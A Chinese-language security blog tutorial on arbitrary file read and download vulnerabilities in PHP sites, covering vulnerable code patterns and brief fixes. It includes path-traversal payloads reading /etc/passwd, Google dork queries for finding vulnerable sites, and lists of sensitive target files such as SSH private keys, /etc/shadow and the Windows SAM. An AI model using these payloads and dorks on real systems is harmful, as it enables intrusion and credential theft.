美文网首页Pentest信息安全闻风拾水
任意文件查看与下载漏洞

任意文件查看与下载漏洞

作者: cws | 来源:发表于2016-08-01 00:19 被阅读5633次

漏洞介绍

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件
不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞

利用条件

* 存在读文件的函数
* 读取文件的路径用户可控且未校验或校验不严
* 输出了文件内容

漏洞危害

下载服务器任意文件,如脚本代码、服务及系统配置文件等
可用得到的代码进一步代码审计,得到更多可利用漏洞

任意文件读取

代码形式可如下几种:

<?php
    $filename = "test.txt";
    readfile($filename);
?>

<?php
    $filename = "test.txt";

    $fp = fopen($filename,"r") or die("Unable to open file!");
    $data = fread($fp,filesize($filename));
    fclose($fp);

    echo $data;
?>

<?php
    $filename = "test.txt";
    echo file_get_contents($filename);
?>

任意文件下载

直接下载:

<a href="http://www.xx.com/a.zip">Download</a>

用header()下载:

<?php
    $filename = "uploads/201607141437284653.jpg";

    header('Content-Type: imgage/jpeg');
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Lengh: '.filesize($filename));
?>

漏洞利用代码

readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00

Google search

inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
等等...

漏洞挖掘

可以用Google hacking或Web漏洞扫描器
从链接上看,形如:
    • readfile.php?file=***.txt
    • download.php?file=***.rar
从参数名看,形如:
    • &RealPath= 
    • &FilePath= 
    • &filepath= 
    • &Path= 
    • &path= 
    • &inputFile= 
    • &url= 
    • &urls= 
    • &Lang= 
    • &dis= 
    • &data= 
    • &readfile= 
    • &filep= 
    • &src= 
    • &menu= 
    • META-INF 
    • WEB-INF

敏感文件如下

Windows:
   C:\boot.ini  //查看系统版本
   C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
   C:\Windows\repair\sam  //存储系统初次安装的密码
   C:\Program Files\mysql\my.ini  //Mysql配置
   C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
   C:\Windows\php.ini  //php配置信息
   C:\Windows\my.ini  //Mysql配置信息
   ...
Linux:
   /root/.ssh/authorized_keys
   /root/.ssh/id_rsa
   /root/.ssh/id_ras.keystore
   /root/.ssh/known_hosts
   /etc/passwd
   /etc/shadow
   /etc/my.cnf
   /etc/httpd/conf/httpd.conf
   /root/.bash_history
   /root/.mysql_history
   /proc/self/fd/fd[0-9]*(文件标识符)
   /proc/mounts
   /porc/config.gz

漏洞验证

• index.php?f=../../../../../../etc/passwd 
• index.php?f=../index.php 
• index.php?f=file:///etc/passwd
注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,
    若显示源码或提示下载则是文件查看与下载漏洞

修复方案

* 过滤.(点),使用户在url中不能回溯上级目录
* 正则严格判断用户输入参数的格式
* php.ini配置open_basedir限定文件访问范围

相关文章

  • 任意文件查看与下载漏洞

    漏洞介绍 利用条件 漏洞危害 任意文件读取 代码形式可如下几种: 任意文件下载 直接下载: 用header()下载...

  • 4.任意文件上传下载

    5、任意文件下载攻击原理及测试方法以及修复漏洞的方法:攻击原理:网站由于业务需要,提供了文件查看和文件下载的功能,...

  • FLIR-AX8 任意文件下载

    FLIR-AX8 任意文件下载 一、漏洞描述 FLIR-AX8 download.php存在任意文件下载漏洞,直接...

  • 任意文件下载

    漏洞描述:目录遍历(任意文件下载)漏洞不同于网站目录浏览,此漏洞不仅仅可遍历系统下web中的文件,而且可以浏览或者...

  • 浅谈任意文件下载漏洞

    01 漏洞描述 某些网站可能因为业务需要,提供文件查看或者下载的功能,如果对用户查看或者需要下载的文件不做限制,那...

  • Discuz!X ≤3.4 任意文件删除漏洞

    Discuz!X ≤3.4 任意文件删除漏洞 1.漏洞影响版本 Discuz!X ≤3.4 2.漏洞危害 任意文件...

  • [漏洞复现]phpcms9.6.0任意下载漏洞

    任意文件下载漏洞和9.6.0的wap模块sql注入在同一个文件触发点在download函数phpcms/modul...

  • BUUCTF-Web-WarmUp

    知识点:代码审计,phpmyadmin任意文件包含漏洞参考:phpmyadmin 4.8.1任意文件包含涉及函数:...

  • java web安全小习惯

    在java web编程中,要注意一些安全问题,sql注入、任意文件上传、文件下载漏洞、数据库密码泄露等,可以多参考...

  • webshell实验

    1完成任意文件下载实验并载图 在后面接../../../../文件便能下载任意你想需要文件 2完成任意文件上传客户...

网友评论

    本文标题:任意文件查看与下载漏洞

    本文链接:https://www.haomeiwen.com/subject/mtjxsttx.html